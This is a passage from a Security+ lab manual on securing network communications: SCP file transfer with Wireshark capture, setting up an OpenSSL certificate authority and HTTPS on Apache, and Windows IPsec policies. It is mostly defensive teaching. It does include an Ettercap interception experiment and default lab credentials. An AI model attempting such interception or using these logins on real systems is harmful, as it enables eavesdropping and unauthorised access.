local machine and on the right are the files for the remote machine. The interface allows
you to easily manage files between the machines by dragging-and-dropping. Notice the status
bar at the bottom of the WinSCP window. It should indicate that the connection is encrypted
(indicated by the yellow lock) and the protocol being used is SCP.
ch08.indd 228 11/17/10 5:17:55 PM
Lab 8.3m: Using Secure Copy in Windows 229
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Before you can upload your web page to the server, you need to create a folder named public_
html.
In WinSCP, click in the white space on the remote (right) side and press 10. f7 to create a new directory.
On the Create Folder screen, type 11. public_html and click OK.
Double-click the public_html folder to switch to it.12.
On the local (left) side, click index.html and press 13. f5 to copy the file to the new directory.
On the Copy window that pops up, click Copy.14.
Minimize WinSCP.15.
Choose Start | Internet Explorer.16.
In the Internet Explorer address bar, type 17. http://192.168.100.202/~labuser/ and press enter.
You should now see the web page that was just uploaded.
Close Internet Explorer.18.
Step 6: View and analyze the captured session.
Restore the Wireshark program and click Stop.1.
In the Filter box, type 2. tcp.port==22 and press enter. (Note: You type = twice.)
Click the first packet in the packet list section.3.
Since SSH uses the TCP protocol, the first three packets will be the three-way handshake.
Notice that the first three packets are the SYN, SYN/ACK, and ACK packets.
The next four packets will be SSH protocol negotiation. The client and server will determine
what version of the software and what version of the SSH protocol to use to conduct the session.
Figure 8-8 WinSCP interface
ch08.indd 229 11/17/10 5:17:55 PM
Chapter 8: Securing Network Communications230
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Click on the seventh packet in the packet list section.4.
The seventh and eighth packet initiate the Diffie-Hellman key exchange.a.
Notice that the Info column of about the seventh packet says Server: Key Exch Init and b. that the next packet is Client: Key Exch Init.
Right-click one of the SSH packets and select Follow TCP Stream.5.
Notice that you do not see any plaintext except the SSH and WinSCP banners and the a. listing of the encryption protocols for the negotiation.
How might this be used by an attacker to intercept future transmissions?b.
Close the Follow TCP Stream window.6.
Close the Wireshark program. Select Quit Without Saving when asked if you would like to save 7. your capture file.
Double-click the log file on the desktop.8.
Scroll to the top of the log. Observe the output.a.
What type of encryption is being used between the client and the server for the session?b.
Close the log window.9.
Close WinSCP.10.
Step 7: Log off from the Windows XP Professional and Metasploitable PCs.
At the Windows XP Professional PC, choose Start | Log Off | Log Off.1.
At the Metasploitable PC, type 2. logoff at the command prompt and press enter.
Lab 8.3 Analysis Questions The following questions apply to the labs in this section:
What characteristics and states of data does SCP protect?1.
Explain how you would configure the SCP client to use SSH2 and AES encryption.2.
Explain how to transfer files using SCP.3.
What is the command to retrieve the server host key?4.
ch08.indd 230 11/17/10 5:17:56 PM
Lab 8.3m: Using Secure Copy in Windows 231
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
The administrator for the server you wish to connect to tells you that the fingerprint for his 5. host key is 3d:6c:efd:65:ea:ea:33:77:34:d2:99:12:22:19:88:dd.
When you connect, you get the following message:
[root@Linuxcl root]# scp config.conf [email protected]:
The authenticity of host '192.168.100.202 (192.168.100.202)' can't be
established.
RSA key fingerprint is 3d:6c:8d:35:cd:e9:2a:64:35:2d:9c:81:f3:b9:dd:b9.
Are you sure you want to continue connecting (yes/no)?
[root@Linuxcl root]#
Should you continue to connect? Why or why not?
The administrator of your network would like you to maintain a web site and plans to give 6. you FTP access to the site. Make the argument that you should use SCP instead.
Lab 8.3 Key Terms Quiz Use these key terms from the labs to complete the sentences that follow:
Blowfish
rcp
Secure Copy (SCP)
WinSCP
1. ______________ is a symmetric encryption algorithm that can be used to encrypt the session data when using SCP.
2. ________________ is the Windows implementation of SCP and is available as a free download.
Suggested Experiment In Lab 6.2, you used Ettercap. Run Ettercap and see if you can intercept information from SCP. Try with
both the version 1 and version 2 of the protocol.
References Blowfish• www.schneier.com/blowfish.html
Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapters 5 and 17
WinSCP• http://winscp.sourceforge.net/eng/
ch08.indd 231 11/17/10 5:17:56 PM
Chapter 8: Securing Network Communications232
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Lab 8.4: Using Certificates and SSL As shown in earlier labs, HTTP is a protocol that transfers the information in clear text. Another danger
of using HTTP is that a rogue server may be put up to impersonate the actual server. This is especially
dangerous with the advent of e-commerce. The transfer of personal and financial information over the
Internet needs to be secure for business to occur in a risk-appropriate environment.
Netscape developed the Secure Sockets Layer (SSL) protocol to manage the encryption of
information. It has become ubiquitous in e-commerce, and most web browsers and servers support
it. The Internet Engineering Task Force (IETF) embraced SSL, which was standardized and named
Transport Layer Security (TLS). When connecting to a web server using SSL, you will notice that the
URL in the address bar indicates HTTPS. SSL operates on the transport layer and uses TCP port 443.
A certificate authority is the trusted authority for certifying individuals’ identities and creating an
electronic document (called a digital certificate) indicating that individuals are who they say they are.
The digital certificate establishes an association between an identity and a public key. There are public
certificate authorities and in-house certificate authorities.
A public certificate authority is a company that specializes in verifying individual identities and
creating and maintaining their certificates. Some examples of public certificate authorities are VeriSign,
Entrust, and Baltimore. Your browser will usually be configured to trust these companies by default. An
in-house certificate authority is maintained and controlled by the company that implemented it. This is
generally used for internal employees and devices as well as customers and partners.
In order to use a certificate for authentication on a web server, there are several steps that need to
be taken. Refer to Figure 8-9.
The web server has to generate a key pair and create a request for a certificate.1.
The request for a certificate must then be submitted to a certificate server.2.
The owners of the certificate server will determine if the request actually belongs to the party 3. requesting it. After determining that is true, they will issue the certificate.
The certificate is then acquired by the web server.4.
The certificate is used in the configuration of the web server.5.
A client can now access the site securely.6.
In this lab, you will first look to see what certificate authorities are configured to work with your
browser by default. You will then create a certificate authority server, set up a web server to use SSL,
and test the new configuration. Normally the certificate authority server and the web server are not the
same computer. Due to the limitations of the lab environment, they will be. However, it will be noted
whenever the server is acting as a certificate authority server or as a web server.
ch08.indd 232 11/17/10 5:17:56 PM
Lab 8.4: Using Certificates and SSL 233
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Learning Objectives At the end of this lab, you’ll be able to
List the trusted certificate authorities configured for your browser.•
Install and configure a certificate authority server.•
Create a certificate request.•
Issue/sign certificates.•
Secure a web site with SSL.•
Describe the process a web page uses when connecting with SSL.•
Explain the characteristics and states of data that the use of certificates protects.•
Figure 8-9 Acquiring a certificate
2. Submit a request for a certificate.
4. Download the certificate.
1. Create a request for a certificate.
5. Configure web server to use certificate.
3. Issue the certificate.
Certificate Server
Web Server
Client Computer
6. Access web server securely.
ch08.indd 233 11/18/10 2:47:36 PM
Chapter 8: Securing Network Communications234
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
S 60 minutes
Lab 8.4l: Using Certificates and SSL in Linux
Materials and Setup You will need the following:
Metasploitable•
BackTrack•
Lab Steps at a Glance
Step 1: Log on to both the BackTrack and Metasploitable PCs.
Step 2: View the currently installed trusted root certificate authorities.
Step 3: Create a certificate authority.
Step 4: Create a certificate signing request.
Step 5: Sign the certificate signing request.
Step 6: Back up and install the certificates.
Step 7: Configure the web server to use SSL.
Step 8: Create a web page for the SSL connection.
Step 9: Test the web site with SSL.
Step 10: Log off from both the BackTrack and Metasploitable PCs.
Lab Steps
Step 1: Log on to both the BackTrack and Metasploitable PCs.
To log on to the BackTrack PC:
At the login prompt, type 1. root and press enter.
At the password prompt, type 2. toor and press enter.
To log on to the Metasploitable PC:
At the login prompt, type 1. msfadmin and press enter.
At the password prompt, type 2. msfadmin and press enter.
In this lab you will need to be root. At the command line, type 3. sudo su and press enter.
At the [sudo] password for msadmin: prompt, type 4. msfadmin and press enter.
ch08.indd 234 11/17/10 5:18:01 PM
Lab 8.4l: Using Certificates and SSL in Linux 235
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Step 2: View the currently installed trusted root certificate authorities.
On the BackTrack PC:
Start the GUI by typing 1. startx and pressing enter.
Open the Firefox web browser by clicking the Firefox icon on the taskbar.2.
Choose Edit | Preferences.3.
At the top of the Preferences dialog box, select Advanced, and then click the Encryption tab.4.
Click View Certificates.5.
Click the Authorities tab. Refer to Figure 8-10.6.
Scroll down to the VeriSign, Inc. listing and double-click the first item there.7.
What are the uses the certificate has been verified for?a.
What is the expiration date?b.
Close the Certificate Viewer.c.
Close the Certificate Manager.8.
Close the Firefox Preferences dialog box.9.
Minimize Firefox.10.
Step 3: Create a certificate authority.
Figure 8-10 Managing certificates in Firefox
ch08.indd 235 11/17/10 5:18:01 PM
Chapter 8: Securing Network Communications236
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
➜ Note
This step would take place at the computer that would be the certificate server.
On the Metasploitable PC:
At the command line, type 1. cd /usr/lib/ssl/misc and press enter.
At the command line, type ./2. CA.sh -newca and press enter.
At the CA certificate filename (or Enter to create) prompt, press 3. enter.
At the Enter PEM passphrase prompt, type 4. CA_passphrase and press enter.
At the Verifying - Enter PEM passphrase prompt, type 5. CA_passphrase and press enter.
At the Country Name prompt, type 6. US and press enter.
At the State or Province Name prompt, type 7. your state and press enter.
At the Locality prompt, type 8. your city and press enter.
At the Organization Name prompt, type 9. LocalSecurity and press enter.
At the Organizational Unit prompt, type 10. Account Management and press enter.
At the Common Name prompt, type 11. linuxserv.security.local and press enter.
At the Email Address prompt, type 12. [email protected] and press enter.
At the A Challenge Password prompt, press 13. enter.
At the An Optional Company Name prompt, press 14. enter.
When prompted for the passphrase, type 15. CA_passphrase and press enter.
Step 4: Create a certificate signing request.
Now that the certificate server is created, you need to create a certificate signing request on the web
server you wish to secure.
➜ Note
This step would normally take place on the web server, which would be a different machine
from the certificate server.
At the command line, type 1. ./CA.sh -newreq and press enter.
At the Enter PEM passphrase prompt, type 2. web_passphrase and press enter.
At the Verifying–Enter PEM passphrase prompt, type 3. web_passphrase and press enter.
At the Country Name prompt, type 4. US and press enter.
At the State or Province Name prompt, type 5. your state and press enter.
ch08.indd 236 11/17/10 5:18:02 PM
Lab 8.4l: Using Certificates and SSL in Linux 237
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
At the Locality prompt, type 6. your city and press enter.
At the Organization Name prompt, type 7. LocalSecurity and press enter.
At the Organizational Unit prompt, type 8. WebEngineering and press enter.
At the Common Name prompt, type 9. linuxserv.security.local and press enter.
At the Email Address prompt, type 10. [email protected] and press enter.
At the A Challenge Password prompt, press 11. enter.
At the An Optional Company Name prompt, press 12. enter.
View the contents of the file that will be your certificate signing request by typing 13. cat newreq.pem and pressing enter.
What are the two components the newreq.pem is made up of?
Normally this request would have to be delivered to the certificate server either by e-mail or by
other means.
Step 5: Sign the certificate signing request.
The certificate request, once received, will be signed. Before signing, there will normally be some
process to verify that the file does in fact belong to the party who says they sent it.
At the command line, type 1. ./CA.sh –sign and press enter.
At the Enter PEM passphrase prompt, type 2. CA_passphrase and press enter.
At the Sign the Certificate prompt, type 3. y and press enter.
At the 1 out of 1 certificate requests certified, commit? prompt, type 4. y and press enter.
The contents of the certificate will be dumped to a screen and be contained in the file newcert.pem.
This file would then be either made available for retrieval or sent back to the company that originated
the certificate.
Step 6: Back up and install the certificates.
On the web server, after getting the signed certificate back, you would now make copies of the certificate
for backup and then place them in the proper directories.
At the command line, type 1. mkdir ~/certauth and press enter.
Type 2. cp demoCA/cacert.pem ~/certauth and press enter.
Type 3. cp newcert.pem ~/certauth/servercert.pem and press enter.
Type 4. cp newkey.pem ~/certauth/serverkey.pem and press enter.
cd5. ~/certauth and press enter.
Type 6. ls and press enter.
ch08.indd 237 11/17/10 5:18:02 PM
Chapter 8: Securing Network Communications238
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
You should have these files:
servercert.pem (the Web server signed public key)•
serverkey.pem (the Web server private key)•
cacert.pem (the public key of the certificate authority that signed the web server • certificate)
Now that we have backed up the files, you can place the files in the correct directories to
configure your web server to use SSL.
Type 7. mkdir /etc/apache2/ssl and press enter.
Type 8. cp servercert.pem /etc/apache2/ssl/server.crt and press enter.
Type 9. cp serverkey.pem /etc/apache2/ssl/server.key and press enter.
➜ Note
The server key that was copied has a passphrase requirement. This means that each time the
web server is restarted, the passphrase must be entered. You will see this in a later step when
we restart the web service. If you do not want to enter the passphrase each time, you can create
a server.key without a password. You would need to use the following command:
openssl rsa –in serverkey.pem –out /etc/apache2/ssl/server.key and press enter.
Type the web passphrase for server.key which is web_passphrase and press enter.
Type 10. cp cacert.pem /etc/apache2/ssl / and press enter.
Step 7: Configure the Web server to use SSL.
Still on the web server, you will now configure SSL with your certificate. The default Ubuntu server
distribution does not come with ssl enabled by default. Therefore we will need to add ssl to the web
server, make a new website that supports SSL, and then enable that site. Apache2 has a concept of
available websites and enabled websites. It uses the command a2ensite to enable an available site and
a2dissite to disable an available site.
To enable the web server to do SSL, type 1. a2enmod ssl and press enter.
Go to the configuration directory by typing 2. cd /etc/apache2/sites-available and press enter.
Type 3. cp default default-ssl and press enter.
You will now edit the files so that the sites will not conflict. Type 4. pico default default-ssl and press enter.
Change the first two lines to:5.
NameVirtualHost *:80
<VirtualHost *:80 >
ch08.indd 238 11/17/10 5:18:03 PM
Lab 8.4l: Using Certificates and SSL in Linux 239
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Press 6. ctrl-x and press y to save the default file, then press enter (this will be the plain http webserver configuration)
You will now be placed into default-ssl, where we will do the same as above but instead of :80, 7. we will add :443 (the https port).
Change the line DocumentRoot to 8. DocumentRoot /var/www/ssl/, then add the following three lines:
SSLEngine ON
SSLCertificateFile /etc/apache2/ssl/server.crt
SSLCertificateKeyFile /etc/apache2/ssl/server.key
Press 9. ctrl-x and press y, then press enter to save the file.
To enable the new site, type 10. a2ensite default-ssl and press enter.
Type 11. mkdir /var/www/ssl and press enter to make the root directory for the encrypted site.
Now that the web server has been modified, the certificate files installed, and the new secure 12. web page created, you will restart the web server. Shut down the apache server by typing
/etc/init.d/apache2 stop and press enter.
After the server is stopped, restart it by typing 13. /etc/init.d/apache2 start and press enter. You are restarting the web server to ensure that the SSL module is installed.
➜ Note
If you ran the openssl rsa command at the end of step 6, then skip #14
If you have a passphrase in your server key, then you will be asked for the passphrase. Type 14. web_passphrase and press enter.
In what way does this feature make the web server more secure?a.
In what way does this feature make the web server less secure?b.
Step 8: Create a web page for the SSL connection.
Type 1. pico /var/www/ssl/index.html and press enter.
Type 2. This SSL Web page is under construction.
Press 3. ctrl-x, then press y to save and press enter to confirm and exit.
ch08.indd 239 11/17/10 5:18:03 PM
Chapter 8: Securing Network Communications240
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Step 9: Test the web site with SSL.
On the BackTrack PC:
Choose KMenu | Internet | Wireshark.1.
On the Wireshark screen, choose Capture | Interface. For eth0, click Start.2.
On the Capture screen, click OK.3.
Restore the Firefox window.4.
In the Firefox address bar, type 5. http://linuxserv.security.local and press enter.
Notice that you get the Apache Test page. This page is transmitted in clear text, as you will
see in the Wireshark capture.
In the Firefox address bar, type 6. https://linuxserv.security.local and press enter.
On the Website Certified by an Unknown Authority screen, click Examine Certificate.7.
What Organizational Unit was the certificate issued to?a.
What Organizational Unit was the certificate issued from?b.
When does it expire?c.
Close the Certificate Viewer screen.8.
On the Web Site Certified by an Unknown Authority screen, select Accept This Certificate 9. Temporarily for This Session Only and click OK.
On the Security Warning screen, click OK.10.
Note the web page you created in the SSL directory.
You can also use this certificate to view the twiki. You could read e-mail securely from the
remote machine by going to the URL https://linuxserv.security.local/twiki/.
In the address bar, type 11. https://linuxserv.security.local/twiki/ and press enter.
In the Name box, type a. labuser.
In the Password box, type b. password.
Click Login.c.
In the Confirmation pop-up dialog box asking Do You Want Password Manager to Remember 12. This Logon?, click Yes.
How does this feature increase convenience yet reduce the security?
Close Firefox.13.
On the Wireshark Capture screen, click Stop.14.
In the Filter box, type 15. tcp.port==80 and press enter. (Note: You type = twice.)
ch08.indd 240 11/18/10 2:48:43 PM
Lab 8.4l: Using Certificates and SSL in Linux 241
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Right-click a packet and select Follow TCP Stream.16.
Notice that you can see the pages that were transferred before SSL was being used.a.
Close the TCP Stream window.b.
Click the box labeled Reset to clear the Filter box.17.
In the Filter box, type 18. tcp.port==443 and press enter. (Note: You type = twice.)
Notice the three-way handshake.a.
Notice the client key exchange.b.
Right-click an SSL packet and select Follow TCP Stream.19.
Notice that you cannot make out any of the data from the SSL transfer. Both the web traffic
and the web mail are encrypted.
Step 10: Log off from both the BackTrack and Metasploitable PCs.
To log off from the BackTrack PC:
Choose KMenu | Log Out.1.
Click OK.2.
At the command prompt, type 3. logoff and press enter.
To log off from the Metasploitable PC, type logoff at the command prompt and press enter.
Lab 8.4 Analysis Questions The following questions apply to the lab in this section:
What characteristics and states of data do certificates and SSL protect?1.
In what way does the use of certificates reduce convenience or functionality?2.
A web site you are considering doing business with requires that your browser have a root 3. certificate from the Baltimore certificate authority. What are the steps to check if your
browser already has the required certificate?
After installing a certificate server, list the steps (main steps, not detailed) to acquire a 4. certificate and use it to secure a web site.
ch08.indd 241 11/17/10 5:18:04 PM
Chapter 8: Securing Network Communications242
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Several departments in your company need to share information securely and are considering 5. implementing an in-house certificate server. What are the benefits of using an in-house
certificate server?
Lab 8.4 Key Terms Quiz Use these key terms from the lab to complete the sentences that follow:
certificate authority
digital certificate
HTTPS
in-house certificate authority
public certificate authority
Secure Sockets Layer (SSL)
TCP port 443
Transport Layer Security (TLS)
1. ____________________ was developed by Netscape to encrypt connections carrying HTTP traffic.
2. A(n) ______________________ is a trusted authority that certifies individuals with an electronic document called a(n) __________________.
3. The IETF adopted _______________ as its standard means of securing HTTP communication channels.
4. A company can create a(n) _______________ to provide certificates for company intranet use.
5. Use of HTTPS requires _______________ to be opened on the external firewall.
Reference Principles of Computer Security: CompTIA Security+™ and Beyond• , Second Edition (McGraw-Hill Professional, 2010), Chapter 17
Lab 8.5: Using IPsec We have covered several ways to harden applications over the network. Yet the solutions discussed thus
far only harden the traffic with the particular application and not network traffic in general. It may
be necessary for users to have access to your network from outside the boundaries of your network.
Allowing this means two things: First, you are opening your network to outside and possibly malicious
traffic. Second, the data will be traveling over untrusted networks such as the Internet. One way to
extend the boundaries of your network is to create a virtual private network (VPN).
ch08.indd 242 11/17/10 5:18:04 PM
Lab 8.5: Using IPsec 243
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
VPNs create an encrypted tunnel between two points. Tunneling is the process of encapsulating
one type of packet inside another. Tunneling protects the confidentiality and integrity of the data and
provides other mechanisms for establishing authentication.
There are three types of VPN configurations: host-to-host, host-to-server, and server-to-server.
In a host-to-host VPN configuration, two computers communicate directly with one another. In a
host-to-server VPN configuration, a computer connects with a gateway to gain access to a network.
This configuration can be used for employees with laptops who need access to the network from the
road. A server-to-server VPN configuration has two gateway servers with the tunnel between them
and the networks connecting to one another through them. Companies that want to be able to access
information from different locations over the Internet might use this configuration.
One way to implement a VPN is through the use of Internet Protocol Security (IPsec). IPsec is a set
of protocols developed to securely exchange packets at the network layer. IPsec is designed to provide a
sweeping array of services, including, but not limited to, access control, connectionless integrity, traffic-
flow confidentiality, rejection of replayed packets, data security, and data-origin authentication.
The main way to secure data in transmission is with encryption. We have looked at several ways to
do this. Whereas SSH, SCP, and GPG work at the application layer and SSL works at the transport layer,
IPsec works at the network layer. This means that not only is the data protected, but so is some of the
upper-layer header information.
IPsec has two methods of connection: transport and tunnel. The transport method is used when
connecting between two computers directly. In this method, the application and transport layer
information is encrypted, but the source and destination IP addresses are visible. The tunnel method
is used in host-to-server and server-to-server configurations. In this method, the upper-layer data is
encrypted, including the IP header. The IP addresses of the hosts behind the servers are hidden from
the packet information. This adds an extra layer of protection and thus makes it more difficult for an
attacker to get information about your network.
Setting up a VPN incurs a cost at each end of the tunnel. Depending on the amount of traffic
flowing through the VPN servers, the added processing required to encrypt and decrypt the data can
impact performance. There is also extra packet overhead. This increase means that packet size is larger
and can negatively impact bandwidth. VPNs can also be difficult to configure properly when using NAT.
Also, troubleshooting issues that arise with IPsec can be tricky to diagnose.
In this lab, you will set up a host-to-host VPN using IPsec. Once the VPN is established, you will
capture traffic for analysis.
Learning Objectives At the end of this lab, you’ll be able to
Configure a host-to-host VPN in Windows.•
Configure IPsec to allow or deny different types of traffic.•
Explain the benefits of using a VPN.•
Explain the disadvantages of using a VPN.•
ch08.indd 243 11/17/10 5:18:04 PM
Chapter 8: Securing Network Communications244
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
S 60 minutes
Lab 8.5w: Using IPsec in Windows
Materials and Setup
➜ Note
If you are performing this lab in a classroom environment, your instructor has most likely set
up the equipment for you.
You will need the following:
Windows XP Professional•
Windows 2003 Server•
Lab Steps at a Glance
Step 1: Log on to the Windows XP Professional and Windows 2003 Server PCs.
Step 2: Ping the server and connect with FTP.
Step 3: Set the IPsec policy for the Windows XP Professional PC.
Step 4: Set the IPsec policy for the Windows 2003 Server PC.
Step 5: Test the IPsec configuration.
Step 6: Capture and analyze the traffic.
Step 7: Log off from the Windows XP Professional and Windows 2003 Server PCs.
Lab Steps
Step 1: Log on to the Windows XP Professional and Windows 2003 Server PCs.
To log on to the Windows XP Professional PC:
At the Login screen, click the Admin icon.1.
In the password text box, type 2. password and press enter.
To log on to the Windows 2003 Server PC:
At the Login screen, press 1. ctrl-alt-del.
Enter the username 2. administrator and the password adminpass.
Click OK.3.
ch08.indd 244 11/17/10 5:18:05 PM
Lab 8.5w: Using IPsec in Windows 245
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Step 2: Ping the server and connect with FTP.
You are going to ping the Windows 2003 Server and connect with FTP to establish that you can in fact
communicate with both of these utilities.
From the Windows XP machine:
Choose Start | Run.1.
In the Open field, type 2. cmd and press enter.
Type 3. ping 192.168.100.102 and press enter.
Note that you can ping the server.
At the command line, type 4. ftp 192.168.100.102 and press enter.
At User (192.168.100.102:none), type 5. administrator and press enter.
At the password prompt, type 6. adminpass and press enter.
At the ftp prompt, type 7. ls and press enter.
Note that FTP is working properly.
At the prompt, type 8. quit and press enter.
Step 3: Set the IPsec policy for the Windows XP Professional PC.
You will now configure IPsec on the Windows XP Professional computer.
Choose Start | Run.1.
In the Open field, type 2. mmc and press enter.
Maximize the Console and Console root window.3.
On the menu bar, choose File | Add/Remove Snap-in.4.
In the Add/Remove Snap-in dialog box, shown in Figure 8-11, click Add.5.
Select IP Security Policy Management and click Add.6.
On the Select Computer or Domain screen, select Local Computer and click Finish.7.
In the Standalone Snap-in dialog box, click Close.8.
In the Add/Remove Snap-in dialog box, click OK. 9.
In the console tree pane, select IP Security Policies on Local Computer.10.
In the details pane, right-click the Secure Server (Require Security) policy and select a. Properties to open the Secure Server (Require Security) Properties dialog box, shown in
Figure 8-12.
Uncheck the <Dynamic> check box.b.
ch08.indd 245 11/17/10 5:18:05 PM
Chapter 8: Securing Network Communications246
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Figure 8-12 The Secure Server (Require Security) Properties dialog box
Figure 8-11 The IP Security Policy Management
snap-in
ch08.indd 246 11/17/10 5:18:06 PM
Lab 8.5w: Using IPsec in Windows 247
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
In this dialog box, you can set the rules that will apply to the network traffic. First, you
will modify the settings for all IP traffic. This will control the traffic that uses the IP
protocol. For this lab exercise, this will affect FTP communication.
In the Secure Server (Require Security) Properties dialog box, check the All IP Traffic c. check box and click Edit.
Click the Authentication Methods tab and click Add.d.
You will notice that you can choose from three selections. The default is Kerberos, which
you might use if you were setting this up as part of a Microsoft Active Directory domain.
You also have the option to use a certificate. You could use the certificate from a root
certificate authority or you could use a certificate generated from an in-house certificate
authority such as the one configured in a previous lab. For the purposes of this exercise,
you are connecting only between two computers, so you will use the third option, which
is a preshared key.
On the Authentication Method screen, select Use This String (Preshared Key).e.
In the text area, type f. IPsecpassphrase and click OK.
Click the Authentication Methods tab and click Move Up so that Preshared Key is listed first.g.
Click Apply and then click OK.h.
Next you will set the rules for ICMP traffic. For this lab exercise, this will affect the ping
command.
On the Secure Server screen, select All ICMP Traffic and click Edit.i.
Click the Filter Action tab.j.
Make sure Require Security is selected and then click Apply.k.
Click the Authentication Methods tab and click Add.l.
On the Authentication Method screen, select Use This String (Preshared Key).m.
In the text area, type n. IPsecpassphrase and click OK.
Click the Authentication Methods tab and click Move Up so that Preshared Key is listed first.o.
On the Edit Rule Properties screen, click Apply and then click OK.p.
On the Secure Server screen, click Apply and then click OK.q.
In the details pane, right-click the Secure Server (Require Security) policy and select Assign.r.
At the command line, type s. ping 192.168.100.102 and press enter.
What response do you get?
At the command line, type t. ftp 192.168.100.102 and press enter.
What error message do you get?
Type 11. quit and press enter.
ch08.indd 247 11/17/10 5:18:06 PM
Chapter 8: Securing Network Communications248
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
Step 4: Set the IPsec policy for the Windows 2003 Server PC.
Until IPsec is configured properly on both computers, neither computer will be able to communicate
with the other. You will now configure the Windows 2003 Server PC with IPsec.
On the Windows 2003 Server computer:
Choose Start | Run.1.
In the Open field, type 2. mmc and press enter.
Maximize the Console and Console Root window.3.
On the menu bar, choose Console | Add/Remove Snap-in.4.
In the Add/Remove Snap-in dialog box, click Add.5.
Select IP Security Policy Management and click Add.6.
On the Select Computer or Domain screen, select Local Computer and click Finish.7.
In the Standalone Snap-in dialog box, click Close.8.
In the Add/Remove Snap-in dialog box, click OK.9.
In the console tree pane, select IP Security Policies on Local Computer.10.
In the details pane, right-click the Secure Server (Require Security) policy and select Properties.11.
Uncheck the <Dynamic> check box.12.
On the Secure Server (Require Security) Properties screen, check the All IP Traffic check box 13. and click Edit.
Click the Authentication Methods tab and click Add.14.
On the Authentication Method screen, select Use This String (Preshared Key).15.
In the text area, type 16. IPsecpassphrase and click OK.
Click the Authentication Methods tab and click Move Up so that Preshared Key is listed first.17.
Click Apply and then click OK.18.
On the Secure Server screen, select All ICMP Traffic and click Edit.19.
Click the Filter Action tab.20.
Select Require Security and then click Apply.21.
Click the Authentication Methods tab and click Add.22.
On the Authentication Method screen, select Use This String (Preshared Key).23.
In the text area, type 24. IPsecpassphrase and then click OK.
Click the Authentication Methods tab and click Move Up so that Preshared Key is listed first.25.
ch08.indd 248 11/17/10 5:18:07 PM
Lab 8.5w: Using IPsec in Windows 249
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
On the Rule Properties screen, click Apply and then click OK.26.
On the Secure Server screen, click Close.27.
In the details pane, right-click the Secure Server policy and select Assign.28.
Step 5: Test the IPsec configuration.
You will now see if you can communicate again with the ping command or the ftp command.
On the Windows XP computer:
At the command line, type 1. ping 192.168.100.102 and press enter.
What response do you get? (If it does not work the first time, try again.)
At the command line, type 2. ftp 192.168.100.102 and press enter.
Are you able to connect?
Now configure the Windows XP Professional computer so that you will be able to use the ping
command but not communicate with FTP.
Maximize the Console window.3.
In the details pane, right-click the Secure Server (Require Security) policy and select Properties.4.
Uncheck the All IP Traffic check box.5.
Click Apply and then click OK.6.
At the command line, type 7. ping 192.168.100.102 and press enter.
What response do you get?
At the command line, type 8. ftp 192.168.100.102 and press enter.
Are you able to connect?
Step 6: Capture and analyze the traffic.
You will now allow IP traffic again and look at what the network traffic looks like in Wireshark.
Click the Console window. In the details pane, right-click the Secure Server (Require Security) 1. policy and select Properties.
Check the All IP Traffic check box.2.
Click Apply and then click OK.3.
On the desktop, double-click Wireshark.4.
On the Wireshark menu, choose Capture | Start.5.
On the Wireshark Capture Options screen, click OK.6.
At the command line, type 7. ping 192.168.100.102 and press enter.
ch08.indd 249 11/17/10 5:18:07 PM
Chapter 8: Securing Network Communications250
Lab Manual / Principles of Computer Security CompTIA Security+ and Beyond Lab Manual, Second Edition / Nestler / 174856-3 / Chapter 8
At the command line, type 8. ftp 192.168.100.102 and press enter.
At User (192.168.100.102:none), type 9. administrator and press enter.
At the password prompt, type 10. password and press enter.
At the ftp prompt, type 11. ls and press enter.
At the prompt, type 12. quit and press enter.
In Wireshark, choose Capture | Stop.13.
What port number is the traffic transferring across?a.
Can you see any of the data in any of the packets?b.
Step 7: Log off from the Windows XP Professional and Windows 2003 Server PCs.
At the Windows XP Professional PC:
Choose Start | Log Off.1.
At the Log Off Windows screen, click Log Off.2.
At the Windows 2003 Server PC:
Choose Start | Log Off.1.
At the Log Off Windows screen, click Log Off.2.
Click OK.3.
Lab 8.5 Analysis Questions The following questions apply to the lab in this section:
What characteristics and states of data do VPNs protect?1.
In what way does the use of VPNs reduce convenience or functionality?2.
What are the steps to access the IP Security Policy Management console?3.
